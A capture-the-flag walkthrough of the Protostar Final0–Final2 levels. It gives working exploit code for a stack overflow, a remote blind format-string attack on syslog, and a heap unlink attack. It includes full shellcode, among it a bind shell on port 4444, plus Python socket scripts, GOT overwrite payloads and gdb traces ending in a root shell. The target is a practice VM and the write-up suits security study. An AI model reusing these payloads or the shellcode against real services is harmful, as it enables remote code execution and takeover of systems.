Final0

The application is expecting a username and then returns it in Upper case

$ nc localhost 2995
alvaro
No such user ALVARO

The buffer is 512 bytes long but we need to look for the EIP overwrite offset since the compiler can change the buffer size to align it or other nasty reasons. We start trying to segfault the program till we get it with:

echo `python -c 'print "A"*532 + "DDDD"'` | nc localhost 2995

We can verify it with gdb and the core dump:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21580
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()

We will use a ret2text technique since there is call to strdup just before returning from the vulnerable function, so we will control eax and it will point to a copy of our input data in the heap. So the exploit should place the shellcode at the beggining of the user input (after a convenient NOP sled) followed by some garbage till we reach the EIP overwrite offset: 532

We will need the “call eax” opcodes to be present in .text

user@protostar:~$ objdump -M intel -d /opt/protostar/bin/final0 | grep "call.*eax"
 8048d18:	ff 14 85 9c ac 04 08 	call   DWORD PTR [eax*4+0x804ac9c]
 8048d5f:	ff d0                	call   eax
 804992b:	ff d0                	call   eax

We can verify the addresses content in gdb:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21781
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) x/i 0x08048d5f
0x8048d5f:	call   *%eax
(gdb) x/i 0x0804992b
0x804992b:	Cannot access memory at address 0x804992b

It seems that the only valid “call eax” address is “0x08048d5f”. We can use this address as the return address so we can jump to the address pointed by eax where our shellcode will be waiting for us:

Lets verify what is in the memory pointed by eax:

root@protostar:~# gdb -q -c /tmp/core.11.final0.21781
Core was generated by `/opt/protostar/bin/final0'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) i r eax
eax            0x804b008	134524936
(gdb) x/10x $eax
0x804b008:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b018:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b028:	0x41414141	0x41414141
(gdb) x/10x $eax -4
0x804b004:	0x00000209	0x41414141	0x41414141	0x41414141
0x804b014:	0x41414141	0x41414141	0x41414141	0x41414141
0x804b024:	0x41414141	0x41414141

So our A buffer starts right at the address pointed by eax, nice!

We need a shellcode not containing lower case characters (within 0x61-0x7a range) so we will be using this shellcode

user@protostar:~$ echo `python -c 'print("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA" + "A"*306 + "\x5f\x8d\x04\x08" + "\n")'` | nc localhost 2995

Now from a different terminal:

root@protostar:~# nc localhost 5074
id
uid=0(root) gid=0(root) groups=0(root)

Final1

First we need how to interact with the application which is expecting a username and then “login” followed with a password:

user@protostar:~$ nc localhost 2994
[final1] $ username alvaro
[final1] $ login passwd
login failed

If we look at the syslog:

Dec 22 15:48:18 protostar final1: Login from 127.0.0.1:39666 as [alvaro] with password [passwd]

The level is described as:

This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.

When you are exploiting this and you don’t necessarily know your IP address and port number (proxy, NAT / DNAT, etc), you can determine that the string is properly aligned by seeing if it crashes or not when writing to an address you know is good.

So we are supposed to exploit a format string vulnerability in the logit function:

char buf[512];
snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);
syslog(LOG_USER|LOG_DEBUG, buf);

The snprintf is not vulnerable to format string attack but syslog is since its syntax is:

void syslog(int priority, const char *format, ...);

We can place our shellcode at &username which we can control and its located at:

(gdb) p &username
$4 = (char (*)[128]) 0x804a220

We need to find the position offset poiting to a controlled 4 bytes space. In order to do so, I will run this little script that uses a shellcode in the “username” and then it sends a password containing DDDD (the 4 bytes we want to control) and a format string reading memory from a given position. Our intention is to find the position where the DDDD block is:

#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2994))

#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"

for i in range(60):
	s.send("username " + "\x90"*16 + shellcode + "\n")
	s.send("login " + "DDDD[" + str(i) + "] %" + str(i)+ "$08x" + "\n")
s.close()

… will produce a long output including:

Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[47] 2064726f]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[48] 4444445b]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[49] 39345b44]
Dec 23 04:02:07 protostar final1: Login from 127.0.0.1:39732 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [DDDD[50] 3525205d]

So our DDDD block is split between position 48 and 49, We will run the script again but adding three chracters before our DDDD block in order to align it to a format string position.

Dec 23 04:07:04 protostar final1: Login from 127.0.0.1:39733 as [�����������������#002�#005�����_������W^)ɀ��#007,A��#004G#002#007,A�#006FGI��DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAF] with password [XXXDDDD[49] 44444444]

Nice, now our DDDD is righ at 49 position. Now we will use the “%n” flag to write to a format string position. In this case to the number 49 that we control so we will write the number of bytes read so far to the address supplied instead of the DDDD block. As we want to overwrite a GOT entry to control program execution flow, we will find out the “puts” entry:

user@protostar:~$ objdump -TR /opt/protostar/bin/final1 | grep puts
00000000      DF *UND*	00000000  GLIBC_2.0   puts
0804a194 R_386_JUMP_SLOT   puts

Ok, lets try it so far, we will overwrite the GOT entry with an unknow number (the bytes written so far):

s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$08n" + "\n")

and we get

Dec 23 04:15:55 protostar kernel: [391899.936862] final1[23024]: segfault at ac ip 000000ac sp bffffc2c error 4 in final1[8048000+2000]

Nice! a segfault, that means that we have successfully overwritten the puts entry in the GOT table with the value 000000ac thats the number of charcters written before the format flag.

So we need to write the &username address in the puts GOT entry. Since the first 2 bytes are the same 0804, we can leave them untouched and just do a short write using the %hn flag. As an example:

s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%49$hn" + "\n")

and we get

Dec 23 04:17:23 protostar kernel: [391988.195374] final1[23042]: segfault at 80400ac ip 080400ac sp bffffc2c error 4 in final1[8048000+2000]

We can see that our “00ac” is now only written in the two last bytes leaving the first two “0804” untouched. Now instead of “00ac” we need to write “a220” to point to the “username” address. So we need to write the decimal value: 41504

a220-00ac(already written) = a174 = 41332

s.send("username " + "\x90"*16 + shellcode + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")

Damn it! it crashes!

Dec 23 04:41:58 protostar kernel: [393462.998619] final1[23234]: segfault at f9b452c1 ip 0804a277 sp bffffc14 error 4 in final1[804a000+1000]

If we check it with gdb:

root@protostar:~# gdb -q -c /tmp/core.11.final1.23234
Core was generated by `/opt/protostar/bin/final1'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804a277 in ?? ()
(gdb) x/x 0x0804a194
0x804a194:	0x0804a220

WAT??!?!?! so our exploit worked and we jumped to our shellcode but the shellcode crahsed We pick a different shellcode and adjust the username so it has the same lenght and no format string position changes:

#!/usr/bin/python

from socket import *
from struct import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(("localhost", 2994))

#http://www.exploit-db.com/exploits/13427/
shellcode = "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff\xff" \
"\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04\x47" \
"\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xed" \
"DBMAFAEAIJMDFAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKB" \
"AFBFAIJOBLAGGMNIAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIA" \
"JDIJNBLADPMNIAEBIAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJO" \
"BLAALMNIA"
print len(shellcode);

shellcode2 = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
                "\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
                "\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
                "\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
                "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
                "\x0b\xcd\x80"
print len(shellcode2)

s.send("username " + "\x90"*16 + shellcode2 + "A"*(len(shellcode) - len(shellcode2)) + "\n")
s.send("login " + "XXX" + "\x94\xa1\x04\x08" + "%41332d" + "%49$hn" + "\n")
s.close()

and now it seems it works!:

root@protostar:~# netstat -natp | grep 4444
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      23275/final1

Lets go for it:

root@protostar:~# nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)

Final2

This level is about remote heap explotation and that means that we have to find a place in the program where we are able to overwrite a chunk of memory with arbitrary contents and that chunk needs to be freed afterwards. If we read the code carefully we will find that the “check_path” function allows us to overwrite a chunk of memory since it uses “memmove” without checking its boundaries.

void check_path(char *buf)
{
  char *start;
  char *p;
  int l;

  /*
   * Work out old software bug
   */

  p = rindex(buf, '/');
  l = strlen(p);
  if(p) {
    start = strstr(buf, "ROOT");
    if(start) {
      while(*start != '/') start--;
      memmove(start, p, l);
      printf("moving from %p to %p (exploit: %s / %d)\n", p, start, start < buf ?
      "yes" : "no", start - buf);
    }
  }
}

“check_path” is called from “get_requests” where a chunk of memory pointed by “buf” is reserved and we pass “check_path” a pointer to that buffer:

int get_requests(int fd)
{
  char *buf;
  char *destroylist[256];
  int dll;
  int i;

  dll = 0;
  while(1) {
    if(dll >= 255) break;

    buf = calloc(REQSZ, 1);
    if(read(fd, buf, REQSZ) != REQSZ) break;

    if(strncmp(buf, "FSRD", 4) != 0) break;

    check_path(buf + 4);

    dll++;
  }

  for(i = 0; i < dll; i++) {
                write(fd, "Process OK\n", strlen("Process OK\n"));
    free(destroylist[i]);
  }
}

In addition, a call to “free” is done on the “destroylist” array. We will need to check what are those chunks pointing to since they are not declared in the code provided.

This is a “sane” run of the program:

user@protostar:~$ python -c 'print "FSRD" + "A"*114 + "/ROOT/TOOR" + "FSRD" + "B"*114 + "/ROOT/TOOR"' | nc 127.0.0.1 2993
Process OK
Process OK
Process OK

Ok, so if we analyze the “check_path” function we see a “memmove(start, p , l)” call that means that “l” bytes starting on “p” are going to be copied to “start” so if we want to overwrite a chunk’s headers, we need to send at least to chunks and somehow when checking chunk2 path, make “start” point a chunk1 address. This is actually quite easy since the program does not check if “start” belongs to current chunk or not and just keep looking for a “/” backwards in memory.

We know the following:

We want the following:

So lets design our chunks:

Where:

When unlink() is called on the fake chunk, the address stored in its fd pointer (*fd) will be copied to the address pointed in its bk->fd (bk + 12). *fd -> bk + 12. So the address we want to overwrite will be placed in (bk + 12)

We need to know GOTs address of a function called after free(), we will be using the write call right after the free() call in the loop:

user@protostar:~$ objdump -TR /opt/protostar/bin/final2 | grep write
00000000      DF *UND*	00000000  GLIBC_2.0   write
00000000      DF *UND*	00000000  GLIBC_2.0   fwrite
0804d41c R_386_JUMP_SLOT   write
0804d468 R_386_JUMP_SLOT   fwrite

So the address we will be using in our exploit is 0x0804d41c - 0xc = 0x0804d410

We also need to know what is chunk2 address so we can calculate the &shellcode and we need to verify that the “free(destroylist[i])” is freeing our previously allocated chunks. We will use gdb and some breakpoints to find out these details:

root@protostar:~# netstat -natp | grep final2
tcp        0      0 0.0.0.0:2993            0.0.0.0:*               LISTEN      1301/final2
root@protostar:~# gdb -q /opt/protostar/bin/final2
Reading symbols from /opt/protostar/bin/final2...done.
(gdb) attach 1301
Attaching to program: /opt/protostar/bin/final2, process 1301
Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done.
(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
accept () at ../sysdeps/unix/sysv/linux/i386/socket.S:64
64	../sysdeps/unix/sysv/linux/i386/socket.S: No such file or directory.
	in ../sysdeps/unix/sysv/linux/i386/socket.S
Current language:  auto
The current source language is "auto; currently asm".

We will set two breakpoints after calling “calloc” to check the return value and before calling “free” to check the free’s argument:

(gdb) disas get_requests
Dump of assembler code for function get_requests:
0x0804bd47 <get_requests+0>:	push   %ebp
0x0804bd48 <get_requests+1>:	mov    %esp,%ebp
0x0804bd4a <get_requests+3>:	sub    $0x428,%esp
0x0804bd50 <get_requests+9>:	movl   $0x0,-0x10(%ebp)
0x0804bd57 <get_requests+16>:	cmpl   $0xfe,-0x10(%ebp)
0x0804bd5e <get_requests+23>:	jg     0x804bddb <get_requests+148>
0x0804bd60 <get_requests+25>:	movl   $0x1,0x4(%esp)
0x0804bd68 <get_requests+33>:	movl   $0x80,(%esp)
0x0804bd6f <get_requests+40>:	call   0x804b4ee <calloc>
0x0804bd74 <get_requests+45>:	mov    %eax,-0x14(%ebp)
0x0804bd77 <get_requests+48>:	mov    -0x10(%ebp),%eax
0x0804bd7a <get_requests+51>:	mov    -0x14(%ebp),%edx
0x0804bd7d <get_requests+54>:	mov    %edx,-0x414(%ebp,%eax,4)
0x0804bd84 <get_requests+61>:	addl   $0x1,-0x10(%ebp)
0x0804bd88 <get_requests+65>:	movl   $0x80,0x8(%esp)
0x0804bd90 <get_requests+73>:	mov    -0x14(%ebp),%eax
0x0804bd93 <get_requests+76>:	mov    %eax,0x4(%esp)
0x0804bd97 <get_requests+80>:	mov    0x8(%ebp),%eax
0x0804bd9a <get_requests+83>:	mov    %eax,(%esp)
0x0804bd9d <get_requests+86>:	call   0x8048e5c <read@plt>
0x0804bda2 <get_requests+91>:	cmp    $0x80,%eax
0x0804bda7 <get_requests+96>:	jne    0x804bdde <get_requests+151>
0x0804bda9 <get_requests+98>:	movl   $0x4,0x8(%esp)
0x0804bdb1 <get_requests+106>:	movl   $0x804c2d1,0x4(%esp)
0x0804bdb9 <get_requests+114>:	mov    -0x14(%ebp),%eax
0x0804bdbc <get_requests+117>:	mov    %eax,(%esp)
0x0804bdbf <get_requests+120>:	call   0x8048fdc <strncmp@plt>
0x0804bdc4 <get_requests+125>:	test   %eax,%eax
0x0804bdc6 <get_requests+127>:	jne    0x804bde1 <get_requests+154>
0x0804bdc8 <get_requests+129>:	mov    -0x14(%ebp),%eax
0x0804bdcb <get_requests+132>:	add    $0x4,%eax
0x0804bdce <get_requests+135>:	mov    %eax,(%esp)
0x0804bdd1 <get_requests+138>:	call   0x804bcd0 <check_path>
0x0804bdd6 <get_requests+143>:	jmp    0x804bd57 <get_requests+16>
0x0804bddb <get_requests+148>:	nop
0x0804bddc <get_requests+149>:	jmp    0x804bde2 <get_requests+155>
0x0804bdde <get_requests+151>:	nop
0x0804bddf <get_requests+152>:	jmp    0x804bde2 <get_requests+155>
0x0804bde1 <get_requests+154>:	nop
0x0804bde2 <get_requests+155>:	movl   $0x0,-0xc(%ebp)
0x0804bde9 <get_requests+162>:	jmp    0x804be1c <get_requests+213>
0x0804bdeb <get_requests+164>:	movl   $0xb,0x8(%esp)
0x0804bdf3 <get_requests+172>:	movl   $0x804c2d6,0x4(%esp)
0x0804bdfb <get_requests+180>:	mov    0x8(%ebp),%eax
0x0804bdfe <get_requests+183>:	mov    %eax,(%esp)
0x0804be01 <get_requests+186>:	call   0x8048dfc <write@plt>
0x0804be06 <get_requests+191>:	mov    -0xc(%ebp),%eax
0x0804be09 <get_requests+194>:	mov    -0x414(%ebp,%eax,4),%eax
0x0804be10 <get_requests+201>:	mov    %eax,(%esp)
0x0804be13 <get_requests+204>:	call   0x804a9c2 <free>
0x0804be18 <get_requests+209>:	addl   $0x1,-0xc(%ebp)
0x0804be1c <get_requests+213>:	mov    -0xc(%ebp),%eax
0x0804be1f <get_requests+216>:	cmp    -0x10(%ebp),%eax
0x0804be22 <get_requests+219>:	jl     0x804bdeb <get_requests+164>
0x0804be24 <get_requests+221>:	leave
0x0804be25 <get_requests+222>:	ret
End of assembler dump.
(gdb) b *get_requests+45
Breakpoint 1 at 0x804bd74: file final2/final2.c, line 43.
(gdb) b *get_requests+201
Breakpoint 2 at 0x804be10: file final2/final2.c, line 55.

Now, we will tell gdb to follow the process children and continue to wait for the incoming connection:

(gdb) set follow-fork-mode child
(gdb) c
Continuing.

Now we can send our test payload:

s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4-1) + shellcode)

and in gdb we get our new process:

[New process 1490]
[Switching to process 1490]

Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43
43	final2/final2.c: No such file or directory.
	in final2/final2.c
Current language:  auto
The current source language is "auto; currently c".

In our first breakpoint we should be able to get the first chunk address:

(gdb) i r eax
eax            0x804e008	134537224

Lets continue and find out the address of the second chunk:

(gdb) c
Continuing.

Breakpoint 1, 0x0804bd74 in get_requests (fd=4) at final2/final2.c:43
43	in final2/final2.c
(gdb) i r eax
eax            0x804e090	134537360

This looks ok: 0x804e090 - 0x804e008 = 0x88 = 136 = 128 + 8 (headers) So now we know that the second chunk will be allocated in 0x804e090 and our shellcode should be 29 bytes ahead. Since we have a nop sled, lets say 36 -> 0x804e090 + 36 = 0x804eb4

When we hit the second breakpoint (just before the first call to free()):

Breakpoint 2, 0x0804be10 in get_requests (fd=4) at final2/final2.c:55
55	in final2/final2.c
(gdb) i r eax
eax            0x804e008	134537224

We can check that we were right and that the chunks being freed were the ones we previouly allocated.

Lets see how does the chunk1 memory looks like before the free():

(gdb) x/32x 0x804e008
0x804e008:	0x44525346	0x58585858	0x58585858	0x58585858
0x804e018:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e028:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e038:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e048:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e058:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e068:	0x58585858	0x58585858	0x58585858	0x58585858
0x804e078:	0x58585858	0x58585858	0x58585858	0x2f585858

This looks pretty sane, our “FSRD” string followed by 123 “X”s and then a “/” (0x2f)

And the chunk2:

(gdb) x/32x 0x804e008+136
0x804e090:	0x44525346	0x544f4f52	0xfffffc2f	0xffffffff
0x804e0a0:	0x585858ff	0x41414158	0x44444441	0x90909044
0x804e0b0:	0x90909090	0x90909090	0x90909090	0x90909090
0x804e0c0:	0xf7db3190	0x534353e3	0xe189026a	0x80cd66b0
0x804e0d0:	0x68525e5b	0x5c1102ff	0x5051106a	0x666ae189
0x804e0e0:	0x8980cd58	0x04b30441	0x80cd66b0	0xcd66b043
0x804e0f0:	0x6a599380	0x80cd583f	0x68f87949	0x68732f2f
0x804e100:	0x69622f68	0x50e3896e	0xb0e18953	0x0080cd0b

Again we have our “FSRD” string followed by the “ROOT” one, the “/”, the “-4”, “-1”, 4*“X”, 4”A”s, 4”D”s, the NOP sled and our shellcode

Now lets take a look at the chunk 2 headers:

(gdb) x/2x 0x804e090-8
0x804e088:	0x00000000	0x00000089

Damn it, our memmove call has not worked correctly, since we were expecting our “-4” and “-1” here.

If we start the debugging again and add a breakpoint to analyze “check_path”, we find out that its only being called once for chunk1, not for chunk2. There was a error in our payload so that the second chunk was only 127 bytes and so we broke the loop. Once fixed:

s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "/" + "\xfc\xff\xff\xff" + "\xff\xff\xff\xff" + "XXXX" + "AAAA" + "DDDD" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4-4) + shellcode)

We hit the second call to “check_path”. The chunk2 headers before the “memmove”:

(gdb) x/2x 0x804e090-8
0x804e088:	0x00000000	0x00000089

and after the “memmove”

(gdb) x/2x 0x804e090-8
0x804e088:	0x896e6962	0x895350e3

Damn it!!! something went wrong. Lets check chunk2 memory:

(gdb) x/32x 0x804e008+136
0x804e090:	0xcd0bb0e1	0x544f4f80	0xfffffc2f	0xffffffff
0x804e0a0:	0x585858ff	0x41414158	0x44444441	0x90909044
0x804e0b0:	0x90909090	0x90909090	0x90909090	0x90909090
0x804e0c0:	0xdb319090	0x4353e3f7	0x89026a53	0xcd66b0e1
0x804e0d0:	0x525e5b80	0x1102ff68	0x51106a5c	0x6ae18950
0x804e0e0:	0x80cd5866	0xb3044189	0xcd66b004	0x66b04380
0x804e0f0:	0x599380cd	0xcd583f6a	0xf8794980	0x732f2f68
0x804e100:	0x622f6868	0xe3896e69	0xe1895350	0x80cd0bb0

So the first 8 bytes also looks wrong. It seems like we have copy to the right position, but the wrong content and length.

The problem is that our shellcode contains “/“s so we wont be copying the right content. Lets put the shellcode before the last “/” and the fake fd and bk pointers:

s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "DDDD")

Now lets check again if the “memmove” worked as expected:

(gdb) x/2x 0x804e090-8
0x804e088:	0xfffffffc	0xffffffff

And our chunk2 memory space:

(gdb) x/32x 0x804e090
0x804e090:	0x0804d410	0x44444444	0x90909090	0x90909090
0x804e0a0:	0x90909090	0x90909090	0x90909090	0x90909090
0x804e0b0:	0xf7db3190	0x534353e3	0xe189026a	0x80cd66b0
0x804e0c0:	0x68525e5b	0x5c1102ff	0x5051106a	0x666ae189
0x804e0d0:	0x8980cd58	0x04b30441	0x80cd66b0	0xcd66b043
0x804e0e0:	0x6a599380	0x80cd583f	0x68f87949	0x68732f2f
0x804e0f0:	0x69622f68	0x50e3896e	0xb0e18953	0x2f80cd0b
0x804e100:	0xfffffffc	0xfffffffc	0x0804d410	0x44444444

This looks ok, however we are getting a SIGSEGV when freeing the first chunk:

Program received signal SIGSEGV, Segmentation fault.
0x0804aaf8 in free (mem=0x804e008) at final2/../common/malloc.c:3648
3648	final2/../common/malloc.c: No such file or directory.
	in final2/../common/malloc.c

Lets see what is happening:

(gdb) x/i 0x0804aaf8
0x804aaf8 <free+310>:	mov    %edx,0x8(%eax)
(gdb) i r eax
eax            0x44444444	1145324612
(gdb) i r edx
edx            0x804d410	134534160

Oh nice, so its just us trying to overwrite the GOT entry with our DDDD block. So lets use the address of our shellcode instead. AS we saw in the chunk2 memory, our shellcode starts in 0x804e098:

(gdb) x/32x 0x804e090
0x804e090:	0x0804d410	0x44444444	0x90909090	0x90909090
0x804e0a0:	0x90909090	0x90909090	0x90909090	0x90909090
0x804e0b0:	0xf7db3190	0x534353e3	0xe189026a	0x80cd66b0
0x804e0c0:	0x68525e5b	0x5c1102ff	0x5051106a	0x666ae189
0x804e0d0:	0x8980cd58	0x04b30441	0x80cd66b0	0xcd66b043
0x804e0e0:	0x6a599380	0x80cd583f	0x68f87949	0x68732f2f
0x804e0f0:	0x69622f68	0x50e3896e	0xb0e18953	0x2f80cd0b
0x804e100:	0xfffffffc	0xfffffffc	0x0804d410	0x44444444

So our final payload will be:

s.send("FSRD" + "X"*(128-4-1) + "/")
s.send("FSRD" + "ROOT" + "\x90"*(128-len(shellcode)-4-4-1-4-4-4-4) + shellcode + "/" + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff" + "\x10\xd4\x04\x08" + "\x98\xe0\x04\x08" )

Lets try it:

and the shell should be waiting for us in port 4444:

root@protostar:~# netstat -natp | grep LISTEN
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      777/portmap
tcp        0      0 0.0.0.0:2993            0.0.0.0:*               LISTEN      1301/final2
tcp        0      0 0.0.0.0:2994            0.0.0.0:*               LISTEN      1299/final1
tcp        0      0 0.0.0.0:2995            0.0.0.0:*               LISTEN      1297/final0
tcp        0      0 0.0.0.0:2996            0.0.0.0:*               LISTEN      1295/net3
tcp        0      0 0.0.0.0:2997            0.0.0.0:*               LISTEN      1293/net2
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1361/sshd
tcp        0      0 0.0.0.0:2998            0.0.0.0:*               LISTEN      1291/net1
tcp        0      0 0.0.0.0:2999            0.0.0.0:*               LISTEN      1289/net0
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      1270/exim4
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      1819/final2
tcp        0      0 0.0.0.0:46752           0.0.0.0:*               LISTEN      789/rpc.statd
tcp6       0      0 :::22                   :::*                    LISTEN      1361/sshd
tcp6       0      0 ::1:25                  :::*                    LISTEN      1270/exim4
root@protostar:~# nc localhost 4444
id
uid=0(root) gid=0(root) groups=0(root)

Voila!!